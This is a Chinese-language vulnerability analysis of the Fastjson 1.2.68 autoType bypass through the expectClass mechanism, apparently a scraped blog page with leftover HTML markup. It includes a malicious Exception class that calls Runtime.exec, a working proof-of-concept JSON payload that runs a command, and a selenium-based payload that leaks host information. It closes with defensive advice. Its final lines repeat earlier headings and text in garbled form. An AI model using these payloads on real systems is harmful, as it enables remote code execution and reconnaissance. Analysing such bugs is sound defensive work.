Fastjson 1.2.68漏洞分析与利用<\/h1>

1. 漏洞背景<\/h2>
Fastjson 1.2.68版本存在一个新的绕过漏洞，利用`expectClass<\/code>机制可以绕过checkAutoType()<\/code>的安全检测。该漏洞主要利用Throwable<\/code>和AutoCloseable<\/code>接口进行绕过。<\/p>`

2. 漏洞修复历史<\/h2>

1.2.47版本<\/strong>：爆发了严重漏洞<\/li>
1.2.48版本<\/strong>：修复了漏洞，在TypeUtils.loadClass<\/code>中增加了cache<\/code>判断

MiscCodec.deserialze<\/code>调用时，cache<\/code>默认为false<\/code>，阻断了cache提前加载恶意类的攻击链路<\/li>
<\/ul>
<\/li>
1.2.48-1.2.67<\/strong>：在这些版本中都是安全的（不手动关闭autoType的情况下）<\/li>
1.2.68<\/strong>：引入了新的安全控制点safeMode<\/code>，但默认不开启，存在新的绕过方式<\/li>
<\/ul>
3. 环境配置<\/h2>
<dependency><\/span>
<\/span><\/span>    <groupId><\/span>com.alibaba<\/groupId><\/span>
<\/span><\/span>    <artifactId><\/span>fastjson<\/artifactId><\/span>
<\/span><\/span>    <version><\/span>1.2.68<\/version><\/span>
<\/span><\/span><\/dependency><\/span>
<\/span><\/span><\/code><\/pre>4. 安全机制分析<\/h2>
4.1 safeMode机制<\/h3>

新增的安全控制点<\/li>
如果开启，将在checkAutoType()<\/code>直接抛出异常<\/li>
如果设置了@type<\/code>就会抛出异常<\/li>
默认不开启<\/strong>，因此攻击仍然可能<\/li>
<\/ul>
4.2 checkAutoType机制<\/h3>
在checkAutoType<\/code>中：<\/p>

使用getClassFromMapping<\/code>从mappings<\/code>读取类<\/li>
在满足以下条件时直接返回取出的类：

期望类expectClass<\/code>不为空<\/li>
typeName<\/code>不是HashMap<\/code>类<\/li>
期望类是typeName<\/code>的子类<\/li>
<\/ul>
<\/li>
<\/ol>
mappings<\/code>初始化时包含许多类（白名单），其中包括Exception<\/code>和AutoCloseable<\/code>。<\/p>
5. 漏洞利用点<\/h2>
5.1 expectClass参数<\/h3>
expectClass<\/code>来自checkAutoType<\/code>的第二个参数，有两个关键调用点：<\/p>

JavaBeanDeserializer.deserialze<\/code><\/li>
ThrowableDeserializer.deserialze<\/code><\/li>
<\/ol>
5.1.1 ThrowableDeserializer利用<\/h4>
攻击流程：<\/p>

DefaultJSONParser.parse<\/code>调用ParserConfig.checkAutoType<\/code>检查和获取类<\/li>
获取反序列化器调用deserialze<\/code><\/li>
如果反序列化器是ThrowableDeserializer<\/code>且下一个key为@type<\/code>，会再次调用checkAutoType<\/code>，并传入Throwable.class<\/code>作为expectClass<\/code><\/li>
<\/ol>
利用条件：<\/p>

传入的第一个参数exClassName<\/code>是实现了Throwable<\/code>子类的恶意类<\/li>
mappings<\/code>白名单中的Exception<\/code>是Throwable<\/code>的子类，因此可以实现Exception<\/code>来绕过<\/li>
<\/ul>
示例恶意类：<\/p>
public<\/span> class<\/span> EvilException<\/span> extends<\/span> Exception {<\/span>
<\/span><\/span>    private<\/span> String command;<\/span>
<\/span><\/span>    
<\/span><\/span>    public<\/span> void<\/span> setCommand<\/span>(<\/span>String command)<\/span> {<\/span>
<\/span><\/span>        this<\/span>.<\/span>command<\/span> =<\/span> command;<\/span>
<\/span><\/span>        try<\/span> {<\/span>
<\/span><\/span>            Runtime.<\/span>getRuntime<\/span>().<\/span>exec<\/span>(<\/span>command);<\/span>
<\/span><\/span>        }<\/span> catch<\/span> (<\/span>Exception e)<\/span> {<\/span>
<\/span><\/span>            e.<\/span>printStackTrace<\/span>();<\/span>
<\/span><\/span>        }<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>POC示例：<\/p>
String payload =<\/span> "{\"x\":\n"<\/span> +<\/span>
<\/span><\/span>    "\t{\"@type\":\"java.lang.Exception\",\n"<\/span> +<\/span>
<\/span><\/span>    "\t \"@type\":\"org.exploit.third.fastjson.EvilException\", \n"<\/span> +<\/span>
<\/span><\/span>    "\t \"command\":\"calc\"}, \n"<\/span> +<\/span>
<\/span><\/span>    "}"<\/span>;<\/span>
<\/span><\/span>JSON.<\/span>parse<\/span>(<\/span>payload);<\/span>
<\/span><\/span><\/code><\/pre>5.1.2 结合selenium利用<\/h4>
依赖：<\/p>
<dependency><\/span>
<\/span><\/span>    <groupId><\/span>org.seleniumhq.selenium<\/groupId><\/span>
<\/span><\/span>    <artifactId><\/span>selenium-api<\/artifactId><\/span>
<\/span><\/span>    <version><\/span>4.1.1<\/version><\/span>
<\/span><\/span><\/dependency><\/span>
<\/span><\/span><\/code><\/pre>利用org.openqa.selenium.WebDriverException<\/code>类可以获取系统信息：<\/p>

getMessage()<\/code>和getSystemInformation()<\/code>方法能获取：

IP地址<\/li>
主机名<\/li>
系统架构<\/li>
系统名称<\/li>
系统版本<\/li>
JDK版本<\/li>
selenium webdriver版本<\/li>
<\/ul>
<\/li>
通过getStackTrace()<\/code>获取函数调用栈<\/li>
<\/ul>
示例POC：<\/p>
String payload =<\/span> "{\"x\":\n"<\/span> +<\/span>
<\/span><\/span>    "\t{\"@type\":\"java.lang.Exception\",\n"<\/span> +<\/span>
<\/span><\/span>    "\t \"@type\":\"org.openqa.selenium.WebDriverException\"},\n"<\/span> +<\/span>
<\/span><\/span>    " \"y\":{\"$ref\":\"$x.systemInformation\"},\n"<\/span> +<\/span>
<\/span><\/span>    " \"z\":{\"$ref\":\"$x.message\"}\n"<\/span> +<\/span>
<\/span><\/span>    "}"<\/span>;<\/span>
<\/span><\/span>JSONObject json =<\/span> (<\/span>JSONObject)<\/span> JSON.<\/span>parse<\/span>(<\/span>payload);<\/span>
<\/span><\/span>System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>json.<\/span>getString<\/span>(<\/span>"y"<\/span>));<\/span>
<\/span><\/span>System.<\/span>out<\/span>.<\/span>println<\/span>(<\/span>json.<\/span>getString<\/span>(<\/span>"z"<\/span>));<\/span>
<\/span><\/span><\/code><\/pre>5.1.3 JavaBeanDeserializer利用<\/h4>
与ThrowableDeserializer<\/code>不同：<\/p>

ThrowableDeserializer#deserialze<\/code>调用的checkAutoType<\/code>中期望类是固定的Throwable.class<\/code><\/li>
JavaBeanDeserializer#deserialze<\/code>的expectClass<\/code>参数是用户可控的<\/li>
<\/ul>
通常选择AutoCloseable<\/code>作为期望类，因为：<\/p>

AutoCloseable<\/code>不在黑名单内<\/li>
在mappings<\/code>缓存表内<\/li>
包含许多有用的接口，如ObjectInput<\/code>和ObjectOutput<\/code><\/li>
<\/ul>
6. 防御措施<\/h2>

开启safeMode<\/strong>：这是最有效的防御方式<\/li>
升级到最新安全版本<\/strong>：Fastjson团队已发布修复版本<\/li>
输入验证<\/strong>：对反序列化的JSON数据进行严格验证<\/li>
使用白名单<\/strong>：限制可反序列化的类<\/li>
<\/ol>
7. 总结<\/h2>
Fastjson 1.2.68漏洞主要通过expectClass<\/code>机制绕过安全检测，利用Throwable<\/code>和AutoCloseable<\/code>接口实现攻击。攻击者可以构造特定的JSON数据来执行任意代码或获取系统信息。防御的关键是开启safeMode<\/code>或升级到已修复的版本。<\/p>

Fastjson 1.2.68漏洞分析与利用<\/h1>

1. 漏洞背景<\/h2> Fastjson 1.2.68版本存在一个新的绕过漏洞，利用expectClass<\/code>机制可以绕过checkAutoType()<\/code>的安全检测。该漏洞主要利用Throwable<\/code>和AutoCloseable<\/code>接口进行绕过。<\/p>

4. 安全机制分析<\/h2>

1. 漏洞背景<\/h2>
Fastjson 1.2.68版本存在一个新的绕过漏洞，利用`expectClass<\/code>机制可以绕过checkAutoType()<\/code>的安全检测。该漏洞主要利用Throwable<\/code>和AutoCloseable<\/code>接口进行绕过。<\/p>`